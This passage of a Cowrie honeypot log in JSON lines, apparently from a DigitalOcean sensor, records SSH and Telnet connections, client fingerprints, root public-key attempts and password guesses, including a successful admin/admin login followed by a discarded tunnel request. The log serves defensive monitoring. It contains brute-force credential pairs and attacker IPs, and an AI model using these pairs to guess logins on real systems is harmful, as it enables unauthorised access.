-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:39.293171Z","src_ip":"148.153.245.161","session":"f04eeaec7767","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:82:75:f2:01:66:b5:92:99:63:fc:69:8f:61:46:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgQhXIyIncNJIOCaEMoN9gV9OtHvio9R7JrPn6AqRtfjH60HrrnkYtgW7vhgOXXZyQH+6vG0nO/A9tR0Rwygta8S0IiIPvrB1NSVT+qMwViYn+4VyLkVgzXP1Zi4SssX61GrpvmXrHnHlEo2WioXSGy11qmNGbz6rugO8b/zNqpiLBz4+VgA9REENQN5d/8IL0ez7W/7c09mPQv4pnA2XOhTVKv8H69su9J5IA48frAb7uDqQ6wWw373zwGV7ssKBUnRZaurIxbsqDfO/w8pggYC8V6pXK5ozMP7/SCuyzAThd/jwnledvJVvgvsWuInkLteqaHz0zjvQrG3hzXYAF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:82:75:f2:01:66:b5:92:99:63:fc:69:8f:61:46:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:39.488234Z","src_ip":"148.153.245.161","session":"f04eeaec7767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:82:75:f2:01:66:b5:92:99:63:fc:69:8f:61:46:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgQhXIyIncNJIOCaEMoN9gV9OtHvio9R7JrPn6AqRtfjH60HrrnkYtgW7vhgOXXZyQH+6vG0nO/A9tR0Rwygta8S0IiIPvrB1NSVT+qMwViYn+4VyLkVgzXP1Zi4SssX61GrpvmXrHnHlEo2WioXSGy11qmNGbz6rugO8b/zNqpiLBz4+VgA9REENQN5d/8IL0ez7W/7c09mPQv4pnA2XOhTVKv8H69su9J5IA48frAb7uDqQ6wWw373zwGV7ssKBUnRZaurIxbsqDfO/w8pggYC8V6pXK5ozMP7/SCuyzAThd/jwnledvJVvgvsWuInkLteqaHz0zjvQrG3hzXYAF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:39.492438Z","src_ip":"148.153.245.161","session":"f04eeaec7767","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:a6:7d:47:37:72:bd:3e:51:d2:60:d5:19:6a:9f:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7bQLcNol7OGZHBBUYH84pMB7vxpRZd0BQEkK6pAzdy9pXQHDRqnFCSFVKB9HD4p5kqQ6EkNIWdRg5VbPpWp47o5DCHSbsmjV1fGRiUDfjIKfJK9Mp9HiO6hwTakO/EoGXs3wS+8WmnCnyPHl1BLGYSeUSMn7NxK5415SaXjqqRsK7+ChE5KkL+8Qc7X3zMHHEcnuWFsno6EzDAX6uGks2mb+MlTJsfhLb+oolEjOrk9W/5f+QsNawELkcT5bGsVJO0VUMDuUxiUQPWMpNH6XhzDSO8N5kmoHfVaTs69slmq+tqwWQWTXahIpHyEbb7dvW+6uN/TsrcLAJcAdihmc1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:a6:7d:47:37:72:bd:3e:51:d2:60:d5:19:6a:9f:e7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:39.536998Z","src_ip":"148.153.245.161","session":"f04eeaec7767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:a6:7d:47:37:72:bd:3e:51:d2:60:d5:19:6a:9f:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7bQLcNol7OGZHBBUYH84pMB7vxpRZd0BQEkK6pAzdy9pXQHDRqnFCSFVKB9HD4p5kqQ6EkNIWdRg5VbPpWp47o5DCHSbsmjV1fGRiUDfjIKfJK9Mp9HiO6hwTakO/EoGXs3wS+8WmnCnyPHl1BLGYSeUSMn7NxK5415SaXjqqRsK7+ChE5KkL+8Qc7X3zMHHEcnuWFsno6EzDAX6uGks2mb+MlTJsfhLb+oolEjOrk9W/5f+QsNawELkcT5bGsVJO0VUMDuUxiUQPWMpNH6XhzDSO8N5kmoHfVaTs69slmq+tqwWQWTXahIpHyEbb7dvW+6uN/TsrcLAJcAdihmc1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:39.540576Z","src_ip":"148.153.245.161","session":"f04eeaec7767","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:39:87:cd:c1:46:09:5f:ef:ee:47:a6:2f:50:80:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCykHuGeyDc7wZLYZ+9nlXZ+Rh+CI46BJsEwniCIO+iAGcWQIm85Ml3FAQJEqey7BfV6VfDd77cn+f8j/cJaSeSRp0JXu9oe/mCIptG/cfMYx2DzbP36tlKYtfpX4eVKil5rAqGz1BVPc20dUxhWTQpTvWxkRhQf0KPYHtMU9o/NH+coWfaPJDzWPJDBEpMOW1Eo5zlY2/+3GKrUcEBNPOMvZp+A6u7syqAz/7YEIteR/p+sDdL+5B0vkvgSkY563SGAs36aZQeIk3dWXvDpP7bsD4SFybOe+W6ENguu2SmGfUzuuy2Fr/c0xW54Gs5yGsZMozSY+g9RWoYeCvfTkt9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:39:87:cd:c1:46:09:5f:ef:ee:47:a6:2f:50:80:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:39.585753Z","src_ip":"148.153.245.161","session":"f04eeaec7767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:39:87:cd:c1:46:09:5f:ef:ee:47:a6:2f:50:80:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCykHuGeyDc7wZLYZ+9nlXZ+Rh+CI46BJsEwniCIO+iAGcWQIm85Ml3FAQJEqey7BfV6VfDd77cn+f8j/cJaSeSRp0JXu9oe/mCIptG/cfMYx2DzbP36tlKYtfpX4eVKil5rAqGz1BVPc20dUxhWTQpTvWxkRhQf0KPYHtMU9o/NH+coWfaPJDzWPJDBEpMOW1Eo5zlY2/+3GKrUcEBNPOMvZp+A6u7syqAz/7YEIteR/p+sDdL+5B0vkvgSkY563SGAs36aZQeIk3dWXvDpP7bsD4SFybOe+W6ENguu2SmGfUzuuy2Fr/c0xW54Gs5yGsZMozSY+g9RWoYeCvfTkt9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:39.589632Z","src_ip":"148.153.245.161","session":"f04eeaec7767","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:20:ca:92:3e:0c:1c:d9:a8:9e:3a:e7:d3:41:5e:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWjDCeVItnz/j8JXl43PPUbHvFJBXnSGclTmHZ8HtukISJjtU4E3smwRDxcIvZXiJFr4Qcs4rGr0edHUvePHCdECbOE2idJWTWVW9oxwYrqCOWevvnYGbCyN1w4km7K4I+3j8IzDu0WzMBXCXS2BrCM8TDnYyfehKFtIuY7k4dhbbCm9pBIiKOMb23btEzz7A8kqChRvhmy4LgqSV3BkC6FnyTqzBZ8TCuLEgxpsv1ejuhJFhuei1uW5wA6FfrHDz5eunZgsw2IjbBTrDInCmSpb/ZWSWHzFR4kO6ztN1STLuPPGOfS0C9aOYnaXBa/YjC8KLcwJaVWJNm3v0nqye9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:20:ca:92:3e:0c:1c:d9:a8:9e:3a:e7:d3:41:5e:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:39.634087Z","src_ip":"148.153.245.161","session":"f04eeaec7767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:20:ca:92:3e:0c:1c:d9:a8:9e:3a:e7:d3:41:5e:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWjDCeVItnz/j8JXl43PPUbHvFJBXnSGclTmHZ8HtukISJjtU4E3smwRDxcIvZXiJFr4Qcs4rGr0edHUvePHCdECbOE2idJWTWVW9oxwYrqCOWevvnYGbCyN1w4km7K4I+3j8IzDu0WzMBXCXS2BrCM8TDnYyfehKFtIuY7k4dhbbCm9pBIiKOMb23btEzz7A8kqChRvhmy4LgqSV3BkC6FnyTqzBZ8TCuLEgxpsv1ejuhJFhuei1uW5wA6FfrHDz5eunZgsw2IjbBTrDInCmSpb/ZWSWHzFR4kO6ztN1STLuPPGOfS0C9aOYnaXBa/YjC8KLcwJaVWJNm3v0nqye9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:39.640023Z","src_ip":"148.153.245.161","session":"f04eeaec7767","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:95:0f:2d:2f:6c:d0:50:be:a2:1f:61:de:b7:85:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBKt0iih2PfOdAvOqaginYwEEdJ32YivJ4CCsSjN/veIwqepkW/7xfvAEvj0QeHyBCKvPFczvBAkFwB9oXl56YguAJvtNx49CYMztDJWLGOqMSIQSpuQnw5Vty6e0mGcML8Pto4MV+tTL1MijnB1GKWEFmFbuhjfhjgIwFYstqX9MVs/nUtjbk9mG+RcZynWuc1XeVBOPdxZ/mGrwwfwdEsqwk9k9rhNipOCB226VPSmEGHPzJBaTgsEAn/2low82scnG1jWFeHgBseArKee044+gdF2Hsm1gwd2VOzzcW3tT32PUYs66HkEL5wZ0AzBw77jJpbf/kwgEY+FVnSdej","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:95:0f:2d:2f:6c:d0:50:be:a2:1f:61:de:b7:85:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:39.685628Z","src_ip":"148.153.245.161","session":"f04eeaec7767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:95:0f:2d:2f:6c:d0:50:be:a2:1f:61:de:b7:85:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBKt0iih2PfOdAvOqaginYwEEdJ32YivJ4CCsSjN/veIwqepkW/7xfvAEvj0QeHyBCKvPFczvBAkFwB9oXl56YguAJvtNx49CYMztDJWLGOqMSIQSpuQnw5Vty6e0mGcML8Pto4MV+tTL1MijnB1GKWEFmFbuhjfhjgIwFYstqX9MVs/nUtjbk9mG+RcZynWuc1XeVBOPdxZ/mGrwwfwdEsqwk9k9rhNipOCB226VPSmEGHPzJBaTgsEAn/2low82scnG1jWFeHgBseArKee044+gdF2Hsm1gwd2VOzzcW3tT32PUYs66HkEL5wZ0AzBw77jJpbf/kwgEY+FVnSdej","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:39.689818Z","src_ip":"148.153.245.161","session":"f04eeaec7767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:39.735229Z","src_ip":"148.153.245.161","session":"f04eeaec7767","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":44250,"dst_ip":"159.203.135.109","dst_port":23,"session":"07bf625199a9","protocol":"telnet","message":"New connection: 199.103.57.63:44250 (159.203.135.109:23) [session: 07bf625199a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:58.434562Z"}
{"eventid":"cowrie.session.closed","duration":120.0022919178009,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:59.286541Z","src_ip":"212.55.149.117","session":"53197a062f74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.400446653366089,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:09:01.836918Z","src_ip":"199.103.57.63","session":"07bf625199a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":52722,"dst_ip":"159.203.135.109","dst_port":22,"session":"cac919904a24","protocol":"ssh","message":"New connection: 193.24.211.100:52722 (159.203.135.109:22) [session: cac919904a24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:09:05.519062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:09:05.524494Z","src_ip":"193.24.211.100","session":"cac919904a24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:09:05.632843Z","src_ip":"193.24.211.100","session":"cac919904a24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"54321","message":"login attempt [admin/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:09:06.062858Z","src_ip":"193.24.211.100","session":"cac919904a24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:09:07.175393Z","src_ip":"193.24.211.100","session":"cac919904a24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":53840,"dst_ip":"10.17.0.5","dst_port":22,"session":"5546bf20fb20","protocol":"ssh","message":"New connection: 87.251.64.176:53840 (10.17.0.5:22) [session: 5546bf20fb20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:09:26.643310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:09:26.651821Z","src_ip":"87.251.64.176","session":"5546bf20fb20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:09:26.811578Z","src_ip":"87.251.64.176","session":"5546bf20fb20","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:09:27.348417Z","src_ip":"87.251.64.176","session":"5546bf20fb20","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:09:27.510190Z","session":"5546bf20fb20","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:09:27.673796Z","src_ip":"87.251.64.176","session":"5546bf20fb20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:09:27.822360Z","src_ip":"87.251.64.176","session":"5546bf20fb20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":34068,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc1490043f5b","protocol":"ssh","message":"New connection: 165.154.36.71:34068 (159.203.135.109:22) [session: dc1490043f5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:09:42.956504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:09:42.960970Z","src_ip":"165.154.36.71","session":"dc1490043f5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:09:43.028925Z","src_ip":"165.154.36.71","session":"dc1490043f5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123!@#","message":"login attempt [ubuntu/ubuntu123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:09:43.340086Z","src_ip":"165.154.36.71","session":"dc1490043f5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:09:44.416519Z","src_ip":"165.154.36.71","session":"dc1490043f5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.171.113.13","src_port":7166,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a3bcf50e878","protocol":"telnet","message":"New connection: 190.171.113.13:7166 (159.203.135.109:23) [session: 7a3bcf50e878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:10:50.503018Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":52728,"dst_ip":"159.203.135.109","dst_port":22,"session":"126b4165fbad","protocol":"ssh","message":"New connection: 165.154.36.71:52728 (159.203.135.109:22) [session: 126b4165fbad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:10:51.627814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:10:51.632773Z","src_ip":"165.154.36.71","session":"126b4165fbad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"